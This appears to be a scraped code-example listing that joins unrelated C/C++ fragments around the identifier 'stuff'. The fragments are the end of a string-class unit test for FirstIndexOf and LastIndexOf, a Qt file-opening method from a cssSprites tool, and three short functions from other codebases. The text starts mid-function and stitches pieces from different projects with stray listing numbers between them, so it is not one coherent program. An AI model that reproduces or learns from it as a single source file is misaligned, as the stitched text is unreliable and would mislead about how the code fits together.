	EXPECT_EQ(0, findString.FirstIndexOf('k'));
	EXPECT_EQ(-1, findString.FirstIndexOf('1'));

	// C String
	EXPECT_EQ(1, findString.FirstIndexOf("as", 2));
	EXPECT_EQ(13, findString.FirstIndexOf("pas", 3));
	EXPECT_EQ(4, findString.FirstIndexOf("takas", 5));
	EXPECT_EQ(-1, findString.FirstIndexOf("stuff", 5));
	EXPECT_DEATH(findString.FirstIndexOf("stuff", -1), IE_TEST_ASSERT_FAIL_STRING);

	// Stack String
	IEStackString<> as("as");
	IEStackString<> pas("pas");
	IEStackString<> takas("takas");
	IEStackString<> stuff("stuff");
	EXPECT_EQ(1, findString.FirstIndexOf(as));
	EXPECT_EQ(13, findString.FirstIndexOf(pas));
	EXPECT_EQ(4, findString.FirstIndexOf(takas));
	EXPECT_EQ(-1, findString.FirstIndexOf(stuff));
	EXPECT_EQ(0, findString.FirstIndexOf(findString));

	// Last Index Of
	// Char
	//IEStackString<> findString = "kas takas as pas lapas"
	EXPECT_EQ(20, findString.LastIndexOf('a'));
	EXPECT_EQ(6, findString.LastIndexOf('k'));
	EXPECT_EQ(-1, findString.LastIndexOf('1'));

	// C String
	EXPECT_EQ(20, findString.LastIndexOf("as", 2));
	EXPECT_EQ(19, findString.LastIndexOf("pas", 3));
	EXPECT_EQ(4, findString.LastIndexOf("takas", 5));
	EXPECT_EQ(-1, findString.LastIndexOf("stuff", 5));
	EXPECT_DEATH(findString.LastIndexOf("stuff", -1), IE_TEST_ASSERT_FAIL_STRING);

	// Stack String
	EXPECT_EQ(20, findString.LastIndexOf(as));
	EXPECT_EQ(19, findString.LastIndexOf(pas));
	EXPECT_EQ(4, findString.LastIndexOf(takas));
	EXPECT_EQ(-1, findString.LastIndexOf(stuff));
	EXPECT_EQ(0, findString.LastIndexOf(findString));
}
void MainWindow::OpenFile(const QString& file){
	setStatusTip(UTF8("打开文件:")+file);
	bool test_ok = false;

	QFile fp(file);
	test_ok = fp.exists();
	if(!test_ok) throw AlertException(UTF8("打开失败"),UTF8("文件不存在:\n")+file);
	test_ok = fp.open(QFile::ReadOnly);
	if(!test_ok) throw AlertException(UTF8("打开失败"),UTF8("无法读取文件:\n")+file);

	QTextStream CurrentFile(&fp);
	//读取文件中的配置
	QString Line;
	QString OData;
	QTextStream ProjectData(&OData);
	bool switcher = false;
	while( !CurrentFile.atEnd() ){
		Line = CurrentFile.readLine();
		if( !switcher ){ //非 配置or导出 部分
			if(Line.startsWith(StartIndent) || Line.startsWith(AutoGenIndent)){
				switcher = true;
				continue;
			}
		}else{ //配置or导出 部分
			switcher = !(Line.startsWith(EndIndent) || Line.startsWith(AutoGenEndIndent));
			ProjectData<<Line<<endl;
		}
	}

	bool start = false;
	while(!ProjectData.atEnd()){
		QString Line = ProjectData.readLine();
		if( Line == "[GLOBAL]" ){
			start = true;
			continue;
		}
		if( Line == "[END]" ){
			start = false;
			continue;
		}
		if(!start) continue;

		Line = Line.trimmed();
		QString ID = Line.section(' ',0,0).toLower();
		ID.truncate(ID.length()-1);
		QString Value = multiLine( Line.section(' ',1) );

		CurrentSetting->setProperty(ID.toStdString().data(),Value);

	}

	if(!test_ok) throw AlertException(UTF8("打开失败"),UTF8("无法在文件中识别本程序的格式"));

	ProjectData.reset();
	wm->restart();

	//移动当前目录
	QString stuff_dir = file + STUFF_FOLDER;
	QDir stuff(stuff_dir);
	if( !stuff.exists() ){
		stuff.mkdir(stuff_dir);
	}
	stuff.setCurrent(stuff_dir);

	qDebug()<<"[OPEN FILE]Current dir is "<<QDir::currentPath();

	wm->SessionResume(OData);

	CurrentFilePath = file;
	this->setWindowTitle(file+QString(" - cssSprites"));
}
Exemple #28
0
static void
hooray_2 ()
{
  stuff (1);
}
Exemple #29
0
inline std::unique_ptr<base> bind_to(T& val) {
    std::unique_ptr<derived<T*>> stuff(new derived<T*>(&val));
    stuff->action(store<T>{});
    return std::unique_ptr<base>{std::move(stuff)};
}
Exemple #30
0
void InAutonomousTransactionNode::genBlr()
{
	stuff(compiledStatement, blr_auto_trans);
	stuff(compiledStatement, 0);	// to extend syntax in the future
	GEN_statement(compiledStatement, dsqlAction);
}